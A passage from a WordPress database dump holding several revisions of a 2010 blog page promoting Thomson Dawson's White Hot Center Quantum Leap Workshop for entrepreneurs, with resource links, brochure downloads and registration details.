href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n\r\n<span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span></strong></span>\r\n<h2><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 12:20:06', '2010-10-07 19:20:06', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-52/', 0, 'revision', '', 0),
(1110, 2, '2010-10-07 12:23:46', '2010-10-07 19:23:46', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h4><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"></span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h4>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 12:23:46', '2010-10-07 19:23:46', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-53/', 0, 'revision', '', 0),
(1111, 2, '2010-10-07 12:24:53', '2010-10-07 19:24:53', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 12:24:53', '2010-10-07 19:24:53', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-54/', 0, 'revision', '', 0),
(1113, 2, '2010-10-07 12:25:21', '2010-10-07 19:25:21', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 12:25:21', '2010-10-07 19:25:21', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-55/', 0, 'revision', '', 0);
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(1114, 2, '2010-10-07 16:17:33', '2010-10-07 23:17:33', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 16:17:33', '2010-10-07 23:17:33', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-56/', 0, 'revision', '', 0),
(1115, 2, '2010-10-07 17:20:38', '2010-10-08 00:20:38', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="446" height="446" /></a>\r\n<h2><a href="http://www.whcquantumleap.com" target="_blank">Watch my Quantum Leap Workshop Video Introduction!</a><a href="http://whc.fbdev.org/wp-content/uploads/2010/10/QLW_intro.mov" target="_blank">\r\n</a></h2>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative, early-stage entrepreneurs!\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #808080;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\n<h2><span style="color: #808080;">The   Quantum Leap Workshop is a year-long personal and business development   program designed for forward-thinking entrepreneurs who want more ideas,   clarity, confidence, and velocity to realize their bold vision for a   bigger future–and experience more money, freedom, fulfillment, and joy   in every area of their life!</span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n\r\n<span style="color: #000000;"> </span>Even the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner. If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services. Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n<h2><a href="http://www.whcquantumleap.com/register.html" target="_blank"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></a></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop begins March 2011!', 0, '', 'publish', 'open', 'open', '', 'the-quantum-leap-workshop%e2%84%a2-begins-march-2011', '', '', '2010-12-27 15:53:09', '2010-12-27 22:53:09', '', 0, 'http://www.whitehotcenter.com/?p=1115', 0, 'post', '', 2),
(1241, 2, '2010-11-19 16:38:25', '2010-11-19 23:38:25', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/10/QLW_intro.mov" target="_blank">Watch my Quantum Leap Workshop Video Introduction!\r\n</a></h2>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative, early-stage entrepreneurs!\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\n<h2>The   Quantum Leap Workshop is a year-long personal and business development   program designed for forward-thinking entrepreneurs who want more ideas,   clarity, confidence, and velocity to realize their bold vision for a   bigger future–and experience more money, freedom, fulfillment, and joy   in every area of their life!</h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n\r\n<span style="color: #000000;"> </span>Even the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner. If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services. Take the leap–you’ll be 